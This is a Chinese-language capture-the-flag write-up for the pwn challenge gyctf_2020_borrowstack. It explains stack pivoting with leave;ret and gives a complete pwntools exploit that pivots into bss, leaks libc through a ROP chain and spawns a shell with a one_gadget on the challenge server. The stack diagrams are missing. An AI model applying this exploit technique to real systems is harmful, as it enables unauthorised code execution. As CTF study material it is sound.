BUU gyctf_2020_borrowstack学习笔记
查看保护
gyctf_2020_borrowstack$ checksec pwn1
[*] '/home/pwn/桌面/gyctf_2020_borrowstack/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
进入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-60h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, &buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}
看到有两次read
,第一次读入的buf
是在栈上的,第二次读入的bank
是在bss
段的
这里我们能溢出的空间只有0x10
,显然是不够直接rop
的,栈迁移就是用在这种溢出距离不足的情况的
什么是栈迁移
大概记一下什么是栈迁移
当函数返回时,最后都要执行leave ret
这两条指令相当于:
mov esp,ebp
pop edp
pop eip
假设初始函数栈:
mov esp,ebp
pop ebp 执行完这个就当与执行了leave
pop eip 相当于执行ret 如果有错误欢迎指正,我会及时更改
我们可以利用 覆盖旧的ebp,和追加一个leave ret 来进行栈迁移
假设覆盖后的栈空间
经过函数回调本有的 leave ret
操作后
执行leave ret
栈成功迁移,一般这种迁移都迁移到bss
段上,用来执行构造好的rop链
整体思路
通过第一个read
栈迁移,迁移到bss
段上
使用第二个read
构造 rop链,泄露libc
这里要注意的是,这题的bank
地址离got
表很近,直接迁移会造成覆盖,无法泄露
就要将栈迁移的远一点(例如bank_addr+ 0x70
)
泄露完libc用函数本身的第二个read
函数回调的leave ret
进行第二次迁移,往其中写入one_gadget
,即可getshell
exp:
from pwn import *
io = remote("node3.buuoj.cn",27970)
elf = ELF("pwn1")
libc = ELF("libc-2.23.so")
bank_addr =0x601080
payload_1 = b"a"*(0x60)+p64(bank_addr+ 0x70)+p64(0x400699)
io.sendafter("Welcome to Stack bank,Tell me what you want\n",payload_1)
puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
pop_rdi_ret = 0x400703
one_gadget = 0xf02a4
payload_2 = b"a"*(0x70)+p64(bank_addr+0x40)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(0x400680)
io.sendlineafter("Done!You can check and use your borrow stack now!\n",payload_2)
read_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = read_addr - libc.symbols["read"]
payload_3 = b"a"*(0x40)+p64(0)+p64(one_gadget+libcbase)
io.recvline()
io.sendline(payload_3)
io.interactive()
关于二次迁移的简单整理
第一次写入bss
段的payload
(这里的0x400680
是第二个read函数的地址):
b"a"*(0x70)+p64(bank_addr+0x40)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(0x400680)
栈空间:
第一次迁移:
当执行完read
函数 但还没执行leave ret
时:
mov esp,ebp
:
pop ebp:
pop eip:
getshell
成功